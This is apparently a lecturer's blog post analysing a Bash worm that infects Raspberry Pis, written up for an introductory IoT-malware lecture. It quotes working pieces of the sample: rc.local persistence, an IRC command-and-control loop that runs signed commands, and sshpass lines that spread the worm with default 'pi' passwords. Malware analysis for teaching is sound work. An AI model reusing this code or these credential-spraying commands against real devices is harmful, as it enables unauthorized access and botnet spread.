██████╗ ██████╗ ██╗ ██╗ █████╗ ╚════██╗██╔═══██╗██║ ██║██╔══██╗ █████╔╝██║ ██║███████║███████║ ╚═══██╗██║ ██║██╔══██║██╔══██║ ██████╔╝╚██████╔╝██║ ██║██║ ██║ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝
Welcome to 3OHA, a place for random notes, thoughts, and factoids that I
want to share or remember.
4 April 2023
A few weeks ago I had to give an entry-level lecture on IoT malware and I wanted to avoid at all costs a death-by-powerpoint approach. I decided to make the lecture revolve around the technical analysis of a sample that (1) could help me introduce some key concepts (bot, dropper, command and control channel, infection/propagation); (2) provides students with a glimpse of broader themes such as long-term purposes of the malware operator (e.g., monetization strategies for the botnet); and (3) could be used to reflect about the state of affairs in this ecosystem.
One major obstacle was that the audience did not have a solid background on reverse engineering binaries, which forced me to rely on a sample that they were equipped to understand. I then remembered an interesting campaign that targeted Raspbery Pis around 2017 and that could have lots of educational potential because it features a good bunch of behaviors and it is incredibly simple to analyze. I looked for a few samples on the usual places and, unsurprisingly, found out that it still seems to be around in 2023. The sample that I chose has the following hash: 6219350256e5404374c4e99e71ecc1db0a0e3893a09b6aec4c15763023eeffc3
. Both the original sample and the beautified version are available in this GitHub repository, where I keep other commented examples of Bash malware.
The original sample is a non-obfuscated 161-line Bash script with no functions. One of the first striking behaviors is that, if it is not running with root privileges, it establishes persistence via /etc/rc.local
and reboots the device:
if [ "$EUID" -ne 0 ] then NEWMYSELF=`mktemp -u 'XXXXXXXX'` sudo cp $MYSELF /opt/$NEWMYSELF sudo sh -c "echo '#!/bin/sh -e' > /etc/rc.local" sudo sh -c "echo /opt/$NEWMYSELF >> /etc/rc.local" sudo sh -c "echo 'exit 0' >> /etc/rc.local" sleep 1 sudo reboot else
This should make you raise an eyebrow because it assumes passwordless sudo
, which unfortunately is true for the intended targets.
The sample then kills all running instances of a number of processes, including well-known competitors (bins.sh
, minerd
, kaiten
) and other regular processes (nodejs
, zmap
, perl
). This could be an attempt to release the CPU from resource-intensive tasks. It also deletes the .bashrc
script for the root
and pi
users. This move is a strong evidence that the sample targets Raspberry Pi devices. It then changes the password for the pi
user. In doing so, it effectively prevents similar malware families from infecting this device by using well-known default passwords, a propagation mechanism that this very sample uses later.
The sample backdoors the device by creating the .ssh
directory for root if it does not exist and appending a hardcoded public key to the authorized keys file. This will allow the attacker to access the device remotely via ssh
using the associated private key. It also writes a public key in the /tmp/public.pem
file. This key will be used later by the dropped bot to verify the signed messages received from the C2.
The next prominent behavior is the dropping and execution of a hardcoded bot, which is also a Bash script. The bot script is run with nohup
so that it ignores the SIGHUP (hangup) signal and does not stop when the user logs out. The bot picks a name that consists of a letter a
followed by 8 hexadecimal digits taken from the MD5 of the OS name (uname -a
). This is a sub-par choice that will likely result in many collisions. Using the derived name as a nickname, the bot registers in an IRC servers randomly picked from a list of 6 hardcoded server names.
After some minor adjustments, the bot enters a very simple C2 loop in which it accepts two types of commands delivered over the IRC channel:
#biret
IRC channel.PRIVMSG:Nickname!X:Signature:Data
. Both the Signature
and Data
fields are base 64 encoded. The signature was generated using RSA over the MD5 hash of the data field. The bot verifies it using the public key that was dropped before in the /tmp/public.pem
file. If the verification succeeds, it decodes and runs the command embedded in the Data
field and sends back to the IRC channel the output.
while [ true ]; do eval "read msg_in <&3;" if [[ ! "$?" -eq 0 ]] ; then break fi if [[ "$msg_in" =~ "PING" ]] ; then printf "PONG %s\n" "${msg_in:5}"; eval 'printf "PONG %s\r\n" "${msg_in:5}" >&3;' if [[ ! "$?" -eq 0 ]] ; then break fi sleep 1 eval 'printf "JOIN #biret\r\n" >&3;' if [[ ! "$?" -eq 0 ]] ; then break fi elif [[ "$msg_in" =~ "PRIVMSG" ]] ; then privmsg_h=$(echo $msg_in| cut -d':' -f 3) privmsg_data=$(echo $msg_in| cut -d':' -f 4) privmsg_nick=$(echo $msg_in| cut -d':' -f 2 | cut -d'!' -f 1) hash=`echo $privmsg_data | base64 -d -i | md5sum | awk -F' ' '{print $1}'` sign=`echo $privmsg_h | base64 -d -i | openssl rsautl -verify -inkey /tmp/public.pem -pubin` if [[ "$sign" == "$hash" ]] ; then CMD=`echo $privmsg_data | base64 -d -i` RES=`bash -c "$CMD" | base64 -w 0` eval 'printf "PRIVMSG $privmsg_nick :$RES\r\n" >&3;' if [[ ! "$?" -eq 0 ]] ; then break fi fi fi done
This is an extremely simple yet effective implant that would allow the attacker to remotely execute commands on the target. A foreseeable use for such a remote command execution capability would be to download and execute additional stages (including binaries for the victim's platform architecture) via standard commands such as curl
, wget
, ftp
, etc.
After dropping and executing the bot, the original script enters a conventional propagation loop that scans the Internet for new targets and attempts to infect them. To do so, it first installs a couple of tools that are used for the above tasks: zmap
and sshpass
. The sample then scans for blocks of 100k IP addresses with the tcp/22
port open and tries them using two well-known default passwords for the pi
user: raspberry
and raspberryraspberry993311
. If any of them works, the script copies itself to the target via scp
and runs it after granting the copied file execution permission.
sshpass -praspberry scp -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MYSELF pi@$IP:/tmp/$NAME && echo $IP >> /opt/.r && sshpass -praspberry ssh pi@$IP -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no "cd /tmp && chmod +x $NAME && bash -c ./$NAME" & sshpass -praspberryraspberry993311 scp -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MYSELF pi@$IP:/tmp/$NAME && echo $IP >> /opt/.r && sshpass -praspberryraspberry993311 ssh pi@$IP -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no "cd /tmp && chmod +x $NAME && bash -c ./$NAME" &
Each infected system will then follow the same process described above, deploying a bot and turning itself into a distribution point for the sample.
This sample turned out to have substantial educational value for the learning goals that I had in mind:
sudo
). This is particularly problematic for connected devices that are likely to run unattended.